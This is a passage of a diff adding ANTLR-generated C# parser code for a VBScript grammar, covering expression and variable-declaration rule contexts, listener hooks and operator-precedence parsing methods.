ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + public VsICSContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsICS(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsICS(this); + } + } + public partial class VsLiteralContext : ValueStmtContext { + public LiteralContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + public VsLiteralContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsLiteral(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsLiteral(this); + } + } + public partial class VsUnaryOperationContext : ValueStmtContext { + public IToken @operator; + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBScriptParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBScriptParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public VsUnaryOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsUnaryOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsUnaryOperation(this); + } + } + public partial class VsDualOperationContext : ValueStmtContext { + public ValueStmtContext left; + public IToken @operator; + public ValueStmtContext right; + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBScriptParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBScriptParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIV() { return GetToken(VBScriptParser.DIV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBScriptParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBScriptParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBScriptParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBScriptParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBScriptParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBScriptParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBScriptParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBScriptParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBScriptParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBScriptParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBScriptParser.XOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBScriptParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBScriptParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + public VsDualOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsDualOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsDualOperation(this); + } + } + public partial class VsMidContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + public VsMidContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsMid(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsMid(this); + } + } + + [RuleVersion(0)] + public ValueStmtContext valueStmt() { + return valueStmt(0); + } + + private ValueStmtContext valueStmt(int _p) { + ParserRuleContext _parentctx = Context; + int _parentState = State; + ValueStmtContext _localctx = new ValueStmtContext(Context, _parentState); + ValueStmtContext _prevctx = _localctx; + int _startState = 234; + EnterRecursionRule(_localctx, 234, RULE_valueStmt, _p); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2416; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,384,Context) ) { + case 1: + { + _localctx = new VsLiteralContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + + State = 2348; + ((VsLiteralContext)_localctx).valUnary = literal(); + } + break; + case 2: + { + _localctx = new VsICSContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2349; + implicitCallStmt_InStmt(); + } + break; + case 3: + { + _localctx = new VsStructContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2350; + Match(LPAREN); + State = 2352; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,372,Context) ) { + case 1: + { + State = 2351; + Match(WS); + } + break; + } + State = 2354; + ((VsStructContext)_localctx).valUnary = valueStmt(0); + State = 2365; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,375,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2355; + Match(WS); + } + } + + State = 2358; + Match(COMMA); + State = 2360; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,374,Context) ) { + case 1: + { + State = 2359; + Match(WS); + } + break; + } + State = 2362; + valueStmt(0); + } + } + } + State = 2367; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,375,Context); + } + State = 2369; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2368; + Match(WS); + } + } + + State = 2371; + Match(RPAREN); + } + break; + case 4: + { + _localctx = new VsNewContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2373; + Match(NEW); + State = 2374; + Match(WS); + State = 2375; + type(); + } + break; + case 5: + { + _localctx = new VsTypeOfContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2376; + typeOfStmt(); + } + break; + case 6: + { + _localctx = new VsAddressOfContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2377; + Match(ADDRESSOF); + State = 2378; + Match(WS); + State = 2379; + valueStmt(23); + } + break; + case 7: + { + _localctx = new VsAssignContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2380; + implicitCallStmt_InStmt(); + State = 2382; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2381; + Match(WS); + } + } + + State = 2384; + Match(ASSIGN); + State = 2386; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,378,Context) ) { + case 1: + { + State = 2385; + Match(WS); + } + break; + } + State = 2388; + valueStmt(22); + } + break; + case 8: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2390; + ((VsUnaryOperationContext)_localctx).@operator = Match(PLUS); + State = 2392; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,379,Context) ) { + case 1: + { + State = 2391; + Match(WS); + } + break; + } + State = 2394; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(21); + } + break; + case 9: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2395; + ((VsUnaryOperationContext)_localctx).@operator = Match(MINUS); + State = 2397; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,380,Context) ) { + case 1: + { + State = 2396; + Match(WS); + } + break; + } + State = 2399; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(20); + } + break; + case 10: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2400; + ((VsUnaryOperationContext)_localctx).@operator = Match(NOT); + State = 2413; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case WS: + { + State = 2401; + Match(WS); + State = 2402; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + } + break; + case LPAREN: + { + State = 2403; + Match(LPAREN); + State = 2405; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,381,Context) ) { + case 1: + { + State = 2404; + Match(WS); + } + break; + } + State = 2407; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + State = 2409; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2408; + Match(WS); + } + } + + State = 2411; + Match(RPAREN); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + case 11: + { + _localctx = new VsMidContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 2415; + midStmt(); + } + break; + } + Context.Stop = TokenStream.LT(-1); + State = 2565; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,416,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + if ( ParseListeners!=null ) + TriggerExitRuleEvent(); + _prevctx = _localctx; + { + State = 2563; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,415,Context) ) { + case 1: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2418; + if (!(Precpred(Context, 19))) throw new FailedPredicateException(this, "Precpred(Context, 19)"); + State = 2420; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2419; + Match(WS); + } + } + + State = 2422; + ((VsDualOperationContext)_localctx).@operator = Match(POW); + State = 2424; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,386,Context) ) { + case 1: + { + State = 2423; + Match(WS); + } + break; + } + State = 2426; + ((VsDualOperationContext)_localctx).right = valueStmt(20); + } + break; + case 2: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2427; + if (!(Precpred(Context, 18))) throw new FailedPredicateException(this, "Precpred(Context, 18)"); + State = 2429; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2428; + Match(WS); + } + } + + State = 2431; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MOD || _la==DIV || _la==MULT) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2433; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,388,Context) ) { + case 1: + { + State = 2432; + Match(WS); + } + break; + } + State = 2435; + ((VsDualOperationContext)_localctx).right = valueStmt(19); + } + break; + case 3: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2436; + if (!(Precpred(Context, 17))) throw new FailedPredicateException(this, "Precpred(Context, 17)"); + State = 2438; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2437; + Match(WS); + } + } + + State = 2440; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MINUS || _la==PLUS) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2442; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,390,Context) ) { + case 1: + { + State = 2441; + Match(WS); + } + break; + } + State = 2444; + ((VsDualOperationContext)_localctx).right = valueStmt(18); + } + break; + case 4: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2445; + if (!(Precpred(Context, 16))) throw new FailedPredicateException(this, "Precpred(Context, 16)"); + State = 2447; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2446; + Match(WS); + } + } + + State = 2449; + ((VsDualOperationContext)_localctx).@operator = Match(AMPERSAND); + State = 2451; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,392,Context) ) { + case 1: + { + State = 2450; + Match(WS); + } + break; + } + State = 2453; + ((VsDualOperationContext)_localctx).right = valueStmt(17); + } + break; + case 5: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2454; + if (!(Precpred(Context, 15))) throw new FailedPredicateException(this, "Precpred(Context, 15)"); + State = 2456; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2455; + Match(WS); + } + } + + State = 2458; + ((VsDualOperationContext)_localctx).@operator = Match(EQ); + State = 2460; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,394,Context) ) { + case 1: + { + State = 2459; + Match(WS); + } + break; + } + State = 2462; + ((VsDualOperationContext)_localctx).right = valueStmt(16); + } + break; + case 6: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2463; + if (!(Precpred(Context, 14))) throw new FailedPredicateException(this, "Precpred(Context, 14)"); + State = 2465; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2464; + Match(WS); + } + } + + State = 2467; + ((VsDualOperationContext)_localctx).@operator = Match(NEQ); + State = 2469; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,396,Context) ) { + case 1: + { + State = 2468; + Match(WS); + } + break; + } + State = 2471; + ((VsDualOperationContext)_localctx).right = valueStmt(15); + } + break; + case 7: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2472; + if (!(Precpred(Context, 13))) throw new FailedPredicateException(this, "Precpred(Context, 13)"); + State = 2474; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2473; + Match(WS); + } + } + + State = 2476; + ((VsDualOperationContext)_localctx).@operator = Match(LT); + State = 2478; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,398,Context) ) { + case 1: + { + State = 2477; + Match(WS); + } + break; + } + State = 2480; + ((VsDualOperationContext)_localctx).right = valueStmt(14); + } + break; + case 8: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2481; + if (!(Precpred(Context, 12))) throw new FailedPredicateException(this, "Precpred(Context, 12)"); + State = 2483; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2482; + Match(WS); + } + } + + State = 2485; + ((VsDualOperationContext)_localctx).@operator = Match(GT); + State = 2487; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,400,Context) ) { + case 1: + { + State = 2486; + Match(WS); + } + break; + } + State = 2489; + ((VsDualOperationContext)_localctx).right = valueStmt(13); + } + break; + case 9: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2490; + if (!(Precpred(Context, 11))) throw new FailedPredicateException(this, "Precpred(Context, 11)"); + State = 2492; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2491; + Match(WS); + } + } + + State = 2494; + ((VsDualOperationContext)_localctx).@operator = Match(LEQ); + State = 2496; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,402,Context) ) { + case 1: + { + State = 2495; + Match(WS); + } + break; + } + State = 2498; + ((VsDualOperationContext)_localctx).right = valueStmt(12); + } + break; + case 10: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2499; + if (!(Precpred(Context, 10))) throw new FailedPredicateException(this, "Precpred(Context, 10)"); + State = 2501; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2500; + Match(WS); + } + } + + State = 2503; + ((VsDualOperationContext)_localctx).@operator = Match(GEQ); + State = 2505; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,404,Context) ) { + case 1: + { + State = 2504; + Match(WS); + } + break; + } + State = 2507; + ((VsDualOperationContext)_localctx).right = valueStmt(11); + } + break; + case 11: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2508; + if (!(Precpred(Context, 9))) throw new FailedPredicateException(this, "Precpred(Context, 9)"); + State = 2510; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2509; + Match(WS); + } + } + + State = 2512; + ((VsDualOperationContext)_localctx).@operator = Match(AND); + State = 2514; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,406,Context) ) { + case 1: + { + State = 2513; + Match(WS); + } + break; + } + State = 2516; + ((VsDualOperationContext)_localctx).right = valueStmt(10); + } + break; + case 12: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2517; + if (!(Precpred(Context, 8))) throw new FailedPredicateException(this, "Precpred(Context, 8)"); + State = 2519; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2518; + Match(WS); + } + } + + State = 2521; + ((VsDualOperationContext)_localctx).@operator = Match(OR); + State = 2523; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,408,Context) ) { + case 1: + { + State = 2522; + Match(WS); + } + break; + } + State = 2525; + ((VsDualOperationContext)_localctx).right = valueStmt(9); + } + break; + case 13: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2526; + if (!(Precpred(Context, 7))) throw new FailedPredicateException(this, "Precpred(Context, 7)"); + State = 2528; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2527; + Match(WS); + } + } + + State = 2530; + ((VsDualOperationContext)_localctx).@operator = Match(XOR); + State = 2532; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,410,Context) ) { + case 1: + { + State = 2531; + Match(WS); + } + break; + } + State = 2534; + ((VsDualOperationContext)_localctx).right = valueStmt(8); + } + break; + case 14: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2535; + if (!(Precpred(Context, 6))) throw new FailedPredicateException(this, "Precpred(Context, 6)"); + State = 2537; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2536; + Match(WS); + } + } + + State = 2539; + ((VsDualOperationContext)_localctx).@operator = Match(EQV); + State = 2541; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,412,Context) ) { + case 1: + { + State = 2540; + Match(WS); + } + break; + } + State = 2543; + ((VsDualOperationContext)_localctx).right = valueStmt(7); + } + break; + case 15: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2544; + if (!(Precpred(Context, 5))) throw new FailedPredicateException(this, "Precpred(Context, 5)"); + State = 2546; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2545; + Match(WS); + } + } + + State = 2548; + ((VsDualOperationContext)_localctx).@operator = Match(IMP); + State = 2550; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,414,Context) ) { + case 1: + { + State = 2549; + Match(WS); + } + break; + } + State = 2552; + ((VsDualOperationContext)_localctx).right = valueStmt(6); + } + break; + case 16: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2553; + if (!(Precpred(Context, 4))) throw new FailedPredicateException(this, "Precpred(Context, 4)"); + State = 2554; + Match(WS); + State = 2555; + ((VsDualOperationContext)_localctx).@operator = Match(LIKE); + State = 2556; + Match(WS); + State = 2557; + ((VsDualOperationContext)_localctx).right = valueStmt(5); + } + break; + case 17: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 2558; + if (!(Precpred(Context, 3))) throw new FailedPredicateException(this, "Precpred(Context, 3)"); + State = 2559; + Match(WS); + State = 2560; + ((VsDualOperationContext)_localctx).@operator = Match(IS); + State = 2561; + Match(WS); + State = 2562; + ((VsDualOperationContext)_localctx).right = valueStmt(4); + } + break; + } + } + } + State = 2567; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,416,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + UnrollRecursionContexts(_parentctx); + } + return _localctx; + } + + public partial class VariableStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableListStmtContext variableListStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIM() { return GetToken(VBScriptParser.DIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITHEVENTS() { return GetToken(VBScriptParser.WITHEVENTS, 0); } + public VariableStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVariableStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableStmt(this); + } + } + + [RuleVersion(0)] + public VariableStmtContext variableStmt() { + VariableStmtContext _localctx = new VariableStmtContext(Context, State); + EnterRule(_localctx, 236, RULE_variableStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2571; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DIM: + { + State = 2568; + Match(DIM); + } + break; + case STATIC: + { + State = 2569; + Match(STATIC); + } + break; + case FRIEND: + case GLOBAL: + case PRIVATE: + case PUBLIC: + { + State = 2570; + visibility(); + } + break; + default: + throw new NoViableAltException(this); + } + State = 2573; + Match(WS); + State = 2576; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,418,Context) ) { + case 1: + { + State = 2574; + Match(WITHEVENTS); + State = 2575; + Match(WS); + } + break; + } + State = 2578; + variableListStmt(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VariableListStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public VariableSubStmtContext[] variableSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableSubStmtContext variableSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public VariableListStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableListStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVariableListStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableListStmt(this); + } + } + + [RuleVersion(0)] + public VariableListStmtContext variableListStmt() { + VariableListStmtContext _localctx = new VariableListStmtContext(Context, State); + EnterRule(_localctx, 238, RULE_variableListStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2580; + variableSubStmt(); + State = 2591; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,421,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2582; + 